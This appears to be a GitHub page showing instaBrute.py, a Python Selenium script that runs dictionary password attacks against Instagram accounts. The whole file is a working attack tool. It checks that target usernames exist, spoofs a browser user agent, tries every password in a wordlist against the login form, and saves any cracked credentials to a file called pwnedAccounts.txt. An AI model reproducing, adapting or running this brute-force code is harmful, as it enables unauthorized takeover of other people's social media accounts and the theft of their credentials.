-
Notifications
You must be signed in to change notification settings - Fork 14
/
instaBrute.py
142 lines (129 loc) · 4.25 KB
/
instaBrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/bin/python
from mainLib import *
from time import sleep
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import simplejson as json
import sys
import optparse
profile = webdriver.FirefoxProfile()
profile.set_preference("general.useragent.override", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36")
driver = "reserved"
def userExists(username):
try:
driver.get("https://instagram.com/"+username)
assert (("Page Not Found" or "no encontrada") not in driver.title)
except AssertionError:
print 'user: "%s" does not exist, trying with the next!' %username
return 1
except:
'uknown error'
def login(user, password, delay):
try:
print 'Trying with password: ' + password
elem = driver.find_element_by_name("username")
elem.clear()
elem.send_keys(user)
elem = driver.find_element_by_name("password")
elem.clear()
elem.send_keys(password)
elem.send_keys(Keys.RETURN)
sleep(delay)
assert (("Login") in driver.title)
#assert (("Your username or password was incorrect" or "son incorrectos.") not in driver.page_source)
#if driver.current_url == 'https://www.instagram.com/':
# print 'Password correct!'
# print '%s' %password
#else:
# print 'Wrong password'
except AssertionError:
print 'Access granted mother kaker!!'
print 'The password is: ' + password
try:
f = open('pwnedAccounts.txt','a')
except:
f = open('pwnedAccounts.txt','w')
f.write('username:'+user+'\npassword:'+password+'\n')
f.close()
driver.delete_all_cookies()
return 1
except:
print "\r Check your connection to the internet mother kaker\r"
def dictionaryAttack(usernames,passwords,delay):
if str(type(usernames)) == "<type 'list'>":
for username in usernames:
if (userExists(username) == 1):
continue
driver.get("https://instagram.com/accounts/login/")
sleep(delay * 7)
print 'Trying with username: ' + username
for password in passwords:
if (login(username,password,delay) == 1):
cj.clear()
break
else:
if (userExists(usernames) == 1):
return
driver.get("https://instagram.com/accounts/login/")
sleep(delay * 7)
print 'Trying with username: ' + usernames
for password in passwords:
if (login(usernames,password,delay) == 1):
break
def main():
parser = optparse.OptionParser()
parser.add_option('-f', '--file', action="store", dest="userfile", help="File containing valid usernames (one per line)", default=False)
parser.add_option('-d', '--dictionary', action="store", dest="dictionary", help="File containing passwords", default=False)
parser.add_option('-u', '--username', action="store", dest="username", help="A valid username", default=False)
parser.add_option('-t', '--time', action="store", dest="delay", help="delay in seconds. Use this option based on your connection speed", default=True)
options, args = parser.parse_args()
global driver
if (options.delay is None):
delay = 2
else:
delay = int(options.delay)
print 'Using %d seconds of delay' %delay
if ( (options.userfile == False) and (options.username == False) ) :
print 'You have to set an username or a userfile'
exit()
if ( (options.userfile != False) and (options.username != False) ) :
print 'You can\'t set both options at once.. choose between username or userfile'
exit()
if (options.dictionary == False):
print 'You have to set a valid path for the passwords dictionary'
exit()
try:
f = open(options.dictionary,'r')
passwords = []
while True:
line = f.readline()
if not line:
break
passwords.append(line.strip('\n'))
f.close()
except:
print 'Check the path to the dictionary and try again'
exit()
if (options.userfile != False):
try:
f = open(options.userfile,'r')
usernames = []
while True:
line = f.readline()
if not line:
break
usernames.append(line.strip('\n'))
f.close()
except:
print 'Check the path to the users file and try again'
exit()
driver = webdriver.Firefox(profile)
driver.implicitly_wait(30)
dictionaryAttack(usernames,passwords,delay)
else:
driver = webdriver.Firefox(profile)
driver.implicitly_wait(30)
dictionaryAttack(options.username,passwords,delay)
driver.close()
if __name__ == '__main__':
main()